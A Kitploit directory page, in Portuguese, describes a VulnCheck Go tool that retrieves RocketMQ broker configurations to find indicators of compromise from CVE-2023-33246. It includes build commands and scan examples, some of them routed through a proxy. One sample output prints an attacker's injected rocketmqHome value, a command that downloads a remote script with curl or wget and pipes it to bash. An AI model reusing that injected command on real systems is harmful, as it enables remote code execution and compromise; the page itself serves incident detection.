Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
fetch-broker-conf — Um exploit em Go para obter a configuração do broker RocketMQ, a fim de descobrir indicadores de comprometimento para o CVE-2023-33246. | Kitploit
Ferramentas/GitHubGitHub/vulncheck-oss/fetch-broker-conf
Gerenciamento de Indicadores de Comprometimento (IOC)Análise de VulnerabilidadesExploraçãoColeta de InformaçõesTestes de PenetraçãoResposta a Incidentes
GitHubvulncheck-oss/fetch-broker-conf

fetch-broker-conf

Um exploit em Go para obter a configuração do broker RocketMQ, a fim de descobrir indicadores de comprometimento para o CVE-2023-33246.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver RepositórioSite
515há 1 anoAinda não revisado
Compartilhar

Fetch Broker Configuration

O Fetch Broker Configuration tentará baixar a configuração do broker RocketMQ para procurar indicadores de comprometimento na variável rocketmqHome. A variável é usada por vários atacantes para executar código via CVE-2023-33246. Para mais detalhes, consulte o blog da VulnCheck.

Compilação

Você pode usar o makefile para construir um contêiner Docker:

root@kitploit:~
make docker

Ou, se você tiver um ambiente de build Go pronto, basta usar make:

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go

Uso

A ferramenta é construída sobre o go-exploit, portanto há várias maneiras de fornecer alvos para escanear. Uma descrição completa pode ser encontrada na documentação de escaneamento do projeto. No entanto, o seguinte mostra alguns exemplos:

Escaneando um Único Host

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:27:48.567836165-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}

Escaneando Vários Hosts

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:34:27.505747211-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}
{
  "time": "2023-09-05T05:34:27.802345043-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.150",
  "port": 10911
}

Escaneando um Arquivo de Hosts Usando um Proxy

O go-exploit oferece a capacidade de escanear por meio de um csv de alvos fornecido, onde o csv é: host, port, anything if ssl is enabled (embora o campo SSL seja ignorado se -a for usado). Ele também oferece a capacidade de escanear por meio de um proxy. O comando funciona assim (observe que -a é a autodetecção de SSL):

root@kitploit:~
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-08-31T13:45:35.781849255-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
  "host": "x.x.x.x",
  "port": 10909
}
Baixar ferramenta